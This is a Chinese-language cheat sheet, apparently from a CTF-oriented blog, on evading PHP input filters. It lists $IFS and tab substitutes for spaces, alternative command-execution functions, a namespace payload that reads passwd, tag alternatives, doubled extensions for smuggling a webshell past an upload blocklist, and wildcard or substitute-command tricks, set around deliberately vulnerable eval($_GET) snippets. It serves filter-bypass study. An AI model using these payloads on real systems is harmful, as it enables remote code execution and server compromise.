绕过正则

空格

空格的url编码是%20

在php里边可以用tab的url编码绕过(%09)

1
2
3
4
5
6
7
if(preg_match("/ /",$_GET['str']))
{
echo "no";
}
else {
eval($_GET['str']);
}

此时传空格必会输出no

改为传tab即可绕过

?str=echo%09”yes”;

此外,还有一堆东西可以替代空格

1
2
3
4
5
6
7
8
9
<
<>
${IFS},
$IFS
%20 ## 空格
%09 ## tab
$IFS$9
$IFS$1

绕过命令执行函数限制

常用的命令执行函数有:

1
2
3
4
5
6
7
system()
passthru()
exec()
shell_exec()
popen()
proc_open()

使用未被过滤的即可

字符转义绕过仅适用于PHP>=7

以八进制表示的[0–7]{1,3}转义字符会自动适配byte(如”\400” == “\000”)
以十六进制的\x[0–9A-Fa-f]{1,2}转义字符表示法(如“\x41”)
以Unicode表示的\u{[0–9A-Fa-f]+}字符,会输出为UTF-8字符串
URL编码协议规定(即 RFC3986 协议):URL 中只允许包含英文字母、数字、以及这 4 个 - _ . ~ 特殊字符和所有的保留字符

命名空间绕过 (php5.3.0以上

直接给案例,绕过固定的字符串匹配规则

99aae49d9b71c156518064e03a1b505

1
?a=\system&b[]=cat%20passwd

绕过文件名和类型检测

检测<?php

替代品:

1
<?=
1
<script language="php">eval();</script>

把特定字符替换为空

例:

1
2
3
4
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);

这种把特定字符替换为空的,构造个连环的条件就行。(灵感来源于xss的绕过)

把文件muma.php命名成muma.phphpp就行

检测特定文件名

例:

1
2
3
if(!preg_match("/flag|system|php/i",$a)){
eval($a);
}

过滤掉flag.txt,那就写*.txt

cat *.php

过滤掉特定命令

思路:找功能类似的命令

如果过滤掉cat 还有sort、tac、more、less、head、tail、nl

https://blog.csdn.net/qq_43006864/article/details/123889478